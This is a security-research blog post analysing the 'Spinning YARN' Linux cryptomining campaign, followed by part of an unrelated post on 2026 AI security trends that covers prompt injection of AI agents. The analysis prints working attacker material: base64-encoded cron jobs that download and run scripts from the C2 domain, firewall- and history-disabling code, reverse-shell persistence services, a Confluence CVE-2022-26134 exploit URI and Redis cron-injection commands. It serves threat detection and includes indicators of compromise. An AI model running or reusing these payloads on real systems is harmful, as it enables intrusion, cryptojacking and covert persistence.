June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.

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The Darktrace Community

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

The Darktrace Community

Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

Apache Hadoop YARN [1]
Docker‍
Confluence [2]
Redis

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

‍

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab"

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
Determine whether the current user is root and retrieve the next payload based on this

... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ...

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    }

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
Registering persistence in the form of systemd services for both bioset and the miner itself
Discovery of SSH keys and related IPs
The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
Retrieval and execution of a binary executable named fkoths (discussed in a later section)

... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ...

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

build-essential
gcc
redis-server
redis-tools
redis
unhide
masscan
docker.io
libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

c.sh – saved as /etc/.httpd/.../httpd
d.sh – saved as /var/.httpd/.../httpd
w.sh – saved as /var/.httpd/..../httpd
h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

/etc/systemd/system/zzhr.service (c.sh)
/etc/systemd/system/zzhd.service (d.sh)
/etc/systemd/system/zzhw.service (w.sh)
/etc/systemd/system/zzhh.service (h.sh)

‍

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ...

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

109.0.0.0/8
84.0.0.0/8
104.0.0.0/8
168.0.0.0/8
3.0.0.0/8
68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan — Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh — Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379

The -t argument enforces a timeout of 512 milliseconds for outbound connections
The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument

pnsan command construction and execution — Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat>

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

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AI

December 22, 2025

The Year Ahead: AI Cybersecurity Trends to Watch in 2026

Introduction: 2026 cyber trends

Each year, we ask some of our experts to step back from the day-to-day pace of incidents, vulnerabilities, and headlines to reflect on the forces reshaping the threat landscape. The goal is simple: to identify and share the trends we believe will matter most in the year ahead, based on the real-world challenges our customers are facing, the technology and issues our R&D teams are exploring, and our observations of how both attackers and defenders are adapting.

In 2025, we saw generative AI and early agentic systems moving from limited pilots into more widespread adoption across enterprises. Generative AI tools became embedded in SaaS products and enterprise workflows we rely on every day, AI agents gained more access to data and systems, and we saw glimpses of how threat actors can manipulate commercial AI models for attacks. At the same time, expanding cloud and SaaS ecosystems and the increasing use of automation continued to stretch traditional security assumptions.

Looking ahead to 2026, we’re already seeing the security of AI models, agents, and the identities that power them becoming a key point of tension – and opportunity -- for both attackers and defenders. Long-standing challenges and risks such as identity, trust, data integrity, and human decision-making will not disappear, but AI and automation will increase the speed and scale of the cyber risk.

Here's what a few of our experts believe are the trends that will shape this next phase of cybersecurity, and the realities organizations should prepare for.

Agentic AI is the next big insider risk

‍In 2026, organizations may experience their first large-scale security incidents driven by agentic AI behaving in unintended ways—not necessarily due to malicious intent, but because of how easily agents can be influenced. AI agents are designed to be helpful, lack judgment, and operate without understanding context or consequence. This makes them highly efficient—and highly pliable. Unlike human insiders, agentic systems do not need to be socially engineered, coerced, or bribed. They only need to be prompted creatively, misinterpret legitimate prompts, or be vulnerable to indirect prompt injection. Without strong controls around access, scope, and behavior, agents may over-share data, misroute communications, or take actions that introduce real business risk. Securing AI adoption will increasingly depend on treating agents as first-class identities—monitored, constrained, and evaluated based on behavior, not intent.

-- Nicole Carignan, SVP of Security & AI Strategy ‍

Prompt Injection moves from theory to front-page breach

‍We’ll see the first major story of an indirect prompt injection attack against companies adopting AI either through an accessible chatbot or an agentic system ingesting a hidden prompt. In practice, this may result in unauthorized data exposure or unintended malicious behavior by AI systems, such as over-sharing information, misrouting communications, or acting outside their intended scope. Recent attention on this risk—particularly in the context of AI-powered browsers and additional safety layers being introduced to guide agent behavior—highlights a growing industry awareness of the challenge.

-- Collin Chapleau, Senior Director of Security & AI Strategy ‍

Humans are even more outpaced, but not broken

‍When it comes to cyber, people aren’t failing; the system is moving faster than they can. Attackers exploit the gap between human judgment and machine-speed operations. The rise of deepfakes and emotion-driven scams that we’ve seen in the last few years reduce our ability to spot the familiar human cues we’ve been taught to look out for. Fraud now spans social platforms, encrypted chat, and instant payments in minutes. Expecting humans to be the last line of defense is unrealistic.

Defense must assume human fallibility and design accordingly. Automated provenance checks, cryptographic signatures, and dual-channel verification should precede human judgment. Training still matters, but it cannot close the gap alone. In the year ahead, we need to see more of a focus on partnership: systems that absorb risk so humans make decisions in context, not under pressure.

-- Margaret Cunningham, VP of Security & AI Strategy

‍AI removes the attacker bottleneck—smaller organizations feel the impact

‍One factor that is currently preventing more companies from breaches is a bottleneck on the attacker side: there’s not enough human hacker capital. The number of human hands on a keyboard is a rate-determining factor in the threat landscape. Further advancements of AI and automation will continue to open that bottleneck. We are already seeing that. The ostrich approach of hoping that one’s own company is too obscure to be noticed by attackers will no longer work as attacker capacity increases.

-- Max Heinemeyer, Global Field CISO ‍

SaaS platforms become the preferred supply chain target

‍Attackers have learned a simple lesson: compromising SaaS platforms can have big payouts. As a result, we’ll see more targeting of commercial off-the-shelf SaaS providers, which are often highly trusted and deeply integrated into business environments. Some of these attacks may involve software with unfamiliar brand names, but their downstream impact will be significant. In 2026, expect more breaches where attackers leverage valid credentials, APIs, or misconfigurations to bypass traditional defenses entirely.

-- Nathaniel Jones, VP of Security & AI Strategy ‍

Increased commercialization of generative AI and AI assistants in cyber attacks

